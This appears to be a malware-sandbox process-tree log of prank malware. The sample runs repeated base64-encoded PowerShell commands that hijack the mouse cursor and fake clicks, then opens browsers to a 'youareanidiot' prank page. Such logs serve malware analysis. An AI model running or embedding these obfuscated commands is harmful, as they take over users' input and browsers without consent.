        PID:6208
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 1568 -prefsLen 35010 -prefMapHandle 1572 -prefMapSize 270279 -ipcHandle 5232 -initialChannelId {bb07a4e9-d3b6-4707-8ec5-220b90791b62} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility
        6⤵
        Checks processor information in registry
        
        PID:8144
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5780 -prefsLen 32952 -prefMapHandle 2784 -prefMapSize 270279 -jsInitHandle 5420 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2788 -initialChannelId {5c2e4a19-8f29-4014-b572-faef59030cb5} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:7284
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2792 -prefsLen 32952 -prefMapHandle 5104 -prefMapSize 270279 -jsInitHandle 5112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5812 -initialChannelId {a0dc82b5-b71a-4e7a-a9c7-f4975f7be7b2} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:7296
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6136 -prefsLen 32952 -prefMapHandle 6140 -prefMapSize 270279 -jsInitHandle 6148 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6156 -initialChannelId {7af9eeff-a6e1-46c3-947d-69b8ac71afa2} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        Checks processor information in registry
        
        PID:7312
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 6340 -prefsLen 35062 -prefMapHandle 6108 -prefMapSize 270279 -ipcHandle 6064 -initialChannelId {611349cc-5cb5-458c-90be-3dc965b53231} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 utility
        6⤵
        Checks processor information in registry
        
        PID:7660
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3216 -prefsLen 32952 -prefMapHandle 1208 -prefMapSize 270279 -jsInitHandle 6732 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6620 -initialChannelId {7aadf88a-0439-4217-96ae-4d339e826e14} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        6⤵
        Checks processor information in registry
        
        PID:8052
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6808 -prefsLen 32952 -prefMapHandle 6804 -prefMapSize 270279 -jsInitHandle 6800 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6940 -initialChannelId {4f3f1f4c-fa0f-4b3b-82d6-00d7116a07c8} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        6⤵
        Checks processor information in registry
        
        PID:3728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6364
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6576
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x138,0x13c,0x140,0x114,0x144,0x7ff90d92c728,0x7ff90d92c734,0x7ff90d92c740
        5⤵
        
        PID:6620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:2380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6292
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6848
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:6332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7972
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:8116
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff90d92c728,0x7ff90d92c734,0x7ff90d92c740
        5⤵
        
        PID:6404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
